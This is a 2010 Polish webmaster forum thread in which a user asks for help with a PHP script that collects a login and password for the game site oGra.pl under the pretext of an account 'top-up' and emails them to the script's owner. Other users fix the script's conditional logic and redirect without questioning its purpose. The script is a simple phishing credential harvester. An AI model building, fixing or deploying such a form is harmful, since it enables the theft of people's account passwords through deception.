Forum Webmastera, HTML, CSS, PHP, MySQL, Hosting, Domeny - Forum dla Webmasterów
[PHP] Problem ze skryptem, który wysyła na e-mail dane z formularza - Wersja do druku

+- Forum Webmastera, HTML, CSS, PHP, MySQL, Hosting, Domeny - Forum dla Webmasterów (https://www.webmastertalk.pl)
+-- Dział: Technologie internetowe - tworzenie stron WWW (https://www.webmastertalk.pl/forum-technologie-internetowe-tworzenie-stron-www)
+--- Dział: Programowanie, Bazy danych (https://www.webmastertalk.pl/forum-programowanie-bazy-danych)
+--- Wątek: [PHP] Problem ze skryptem, który wysyła na e-mail dane z formularza (/thread-php-problem-ze-skryptem-ktory-wysyla-na-e-mail-dane-z-formularza)



[PHP] Problem ze skryptem, który wysyła na e-mail dane z formularza - mgr130 - 13-03-2010

Witam!

Mam pewien problem dot. skryptu, który wysyła dane z formularza. Tworzę stronę dla kolegi, na której ma się znajdować formularz, przez który będą wysyłane dane na e-maila. Kod skryptu przedstawia się następująco:

Kod:
<?php
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers = 'Content-Type: text/html; charset=iso-8859-2' . "\r\n";
$login_ogra = $_POST['login'];
$haslo_ogra = $_POST['haslo'];
$to      = '[email protected]' ;
$subject = 'oGra Doładowania';
$message = 'Cześć. Chciałbym, abyś doładował mi konto na oGra.pl. Mój login to: ' .$login_ogra .', a hasło to: ' .$haslo_ogra .'';

if ($login_ogra & $haslo_ogra '')
if (mail($to, $subject, $message, $headers))

if ($login_ogra & $haslo_ogra '') {
if (mail($pomoc, $subject, $message, $headers)) {
echo "<meta HTTP-EQUIV='REFRESH' content='4; url=index.php'><center><font color='green'><b>Mail wysłany. Konto zostanie doładowane w ciągu 24 godzin.</b></font><br>Za chwilę zostaniesz przeniesiony na poprzednią stronę...</center>";
}
else {
echo "Mail nie wysłany. Nieznany problem";
}
}
else {
echo "<meta http-equiv='refresh' content='4; url=index.php'><center><font color='red'><b>Musisz wpisać login i hasło przed wysłaniem!</b></font><br>Za chwilę zostaniesz przeniesiony na poprzednią stronę...</center>";
}
?>

Ogólnie mam problem z linią 10 i 13. Chodzi o to, by na e-mail były wysyłane dane z dwóch pól formularza: login_ogra i haslo_ogra. Nie wiem, jak połączyć te dwa pola w tych liniach.


RE: [PHP] Problem ze skryptem, który wysyła na e-mail dane z formularza - mateo - 14-03-2010

Musisz wyciągnąć z formularza POSTem i przypisać do zmiennej.


RE: [PHP] Problem ze skryptem, który wysyła na e-mail dane z formularza - KowR - 14-03-2010

Hmmmmmm...

1. Wywal ten syf (bo nie jest skończony)

Kod:
if ($login_ogra & $haslo_ogra '')
if (mail($to, $subject, $message, $headers))

Bo pod spodem masz drugi do poprawy ;]

2. Zamień linię:

Kod:
if ($login_ogra & $haslo_ogra '') {

Na:

Kod:
if(($login_ogra) && ($haslo_ogra)) {



RE: [PHP] Problem ze skryptem, który wysyła na e-mail dane z formularza - mgr130 - 14-03-2010

KowR Dzięki, Dzięki i jeszcze raz dzięki. Zastosowałem twoją poradę i skrypcik śmiga jak żyleta. Następnym razem, jak będę miał problem z PHP to do Ciebie się zwrócę. Jeszcze raz dziękuję. Pozdrawiam Smile


RE: [PHP] Problem ze skryptem, który wysyła na e-mail dane z formularza - mgr130 - 15-03-2010

Witam ponownie!

Jak mam zmodyfikować ten skrypt, aby przy próbie wysłania pustych pól formularza wyświetliła się następująca informacja: ''Musisz wpisać login i hasło przed wysłaniem! Za chwilę zostaniesz przeniesiony na poprzednią stronę ..."?

Taka informacja jest zadeklarowana w skrypcie, ale przy próbie wysłania pustych pól formularza skrypt nie wysyła informacji na maila, ale też nie wyświetla w/w informacji.


RE: [PHP] Problem ze skryptem, który wysyła na e-mail dane z formularza - KowR - 15-03-2010

Wybacz, ale nie będziemy rozwiązywać za Ciebie takich banalnych problemów - zamiast <meta HTTP-EQUIV='REFRESH' content='4; url=index.php'> użyj funkcji header().

Więcej o niej znajdziesz na: http://pl2.php.net/manual/pl/function.header.php